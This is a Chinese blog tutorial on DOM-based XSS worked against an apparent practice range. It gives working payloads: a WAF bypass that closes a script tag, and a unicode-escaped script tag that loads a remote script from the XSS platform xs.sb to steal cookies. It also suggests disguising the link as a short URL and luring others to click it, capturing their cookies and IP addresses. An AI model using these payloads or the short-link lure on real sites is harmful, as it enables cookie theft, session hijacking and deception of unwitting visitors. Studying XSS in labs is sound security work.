DOM型XSS

在这里插入图片描述
可以通过document来获取有些信息。
在这里插入图片描述

而我们XSS插入的话,一般是动态页面,但是有些是静态页面,不会和数据库发生交互,这就大大提高了安全性,我们就很难XSS了,而考虑到这一点,很多开发也把动态页面假装弄成静态页面,

这种页面称为:伪静态页面

那我们怎么区分动态和伪静态页面呢?

很简单我们可以利用一个js代码来判断是否为动态页面。
我们在控制台输入document.lastModified
如果时间一直是新的,那么就是动态或者伪静态,如果时间一直不变,那么就是静态,没什么好插的了。
在这里插入图片描述

再介绍一个函数,回显上一个地址的urldocument.referrer

在这里插入图片描述

回显标题document.title

在这里插入图片描述

其他的可以自己去试试

在这里插入图片描述

尝试1

在这里插入图片描述
在这里插入图片描述

尝试2

在这里插入图片描述

没有使用unescape函数

在这里插入图片描述

在真实的环境中,一般document会URL解码(unescape)一次。

a.com/135.html?id=<script>alert(1)</script>
document.write(unescape(document.URL));

在这里插入图片描述

unescape函数对url解码,让js代码成功执行弹窗。

在这里插入图片描述

因为JS触发的XSS就是DOM型XSS,而一般而言dom型的XSS都是反射性,很少有存储型。

document.write() 输出内容。

输出name前面字符的长度为20

在这里插入图片描述

通过一段js代码进行跳转,并不会与后端进行交互。

例子
在这里插入图片描述

这里说的锚点是快速跳转到某个位置。

在这里插入图片描述

了解了这么多后,我们来实战一下

我们可以打开控制台看一下,源码,发现有document,也就是js代码,我们试着传参写入,发现第二个位置成功输出。
在这里插入图片描述
然后我们直接XSS代码插入,发现被waf拦截。
在这里插入图片描述
那我们想一下waf的特性,只会过滤一些特殊的东西。比如XSS代码
那我先写正常的,在写我们的XSS代码。
可以看到我们写的js代码生效了,但是不是我们真正想要的结果。
我们看下源码。http://59.63.200.79:8014/dom_xss/index.php/1.txt?id=<script>alert(1111111)</script>
在这里插入图片描述
发现我们是在JS代码里面,那我们把前面那个script闭合就可以了
在这里插入图片描述
输入index.php/1.txt?id=</script><script>alert(1)</script>进行绕过和闭合,然后在插入XSS代码。
http://59.63.200.79:8014/dom_xss/index.php/1.txt?id=</script><script>alert(1)</script>在这里插入图片描述

上面一种是针对waf绕过再来XSS插入的一种方法。

接下来我们不针对waf,来针对document来XSS代码插入。
document支持native编码,那我们可以把我们的XSS代码进行转码,转成native再来XSS代码插入。
在这里插入图片描述

输入http://59.63.200.79:8014/dom_xss/?\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0031\u0031\u0031\u0031\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e直接绕过

在这里插入图片描述
既然已经成功执行了,那我们现在来执行我们想要的信息

先创建一个XSS平台任务。xs.sb

在这里插入图片描述
把这个代码复制下来。
在这里插入图片描述
然后转码成native编码
在这里插入图片描述
输入http://59.63.200.79:8014/dom_xss/?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u0038\u0035\u0073\u006a\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e
或者(这里的1.txt是为了绕过waf,但是1.txt不存在,就去读index.php的内容)http://59.63.200.79:8014/dom_xss/index.php/1.txt?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u0075\u0053\u0049\u0047\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

然后查看XSS平台里的任务窃取到的cookie

注意:一个ip访问这个链接后,xss平台只能获取一次,就算这个ip刷新这个链接,xss也不会再获取到cookie了,不知道这个是xss平台的原因还是啥的,所以还想获取cookie的话,那就只有换ip了

在这里插入图片描述

判断XSS代码是否执行,除了看XSS平台接受到信息没,还可以看控制台的网络,是否访问了XSS平台
在这里插入图片描述

遇到反射性的XSS,可以以下办法。

通过把我们的链接转成短链接,然后诱导别人点击,从而达到目的

这里我发现一个比较好玩的东西,就是通过这个靶场,然后做成短链接,让别人访问的话,除可以获取到靶场的cookie之外,还可以获取到访问人的地址和ip!!!!!!!!!!!!!

短链接http://tool.chinaz.com/tools/dwz.aspx?qq-pf-to=pcqq.group

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值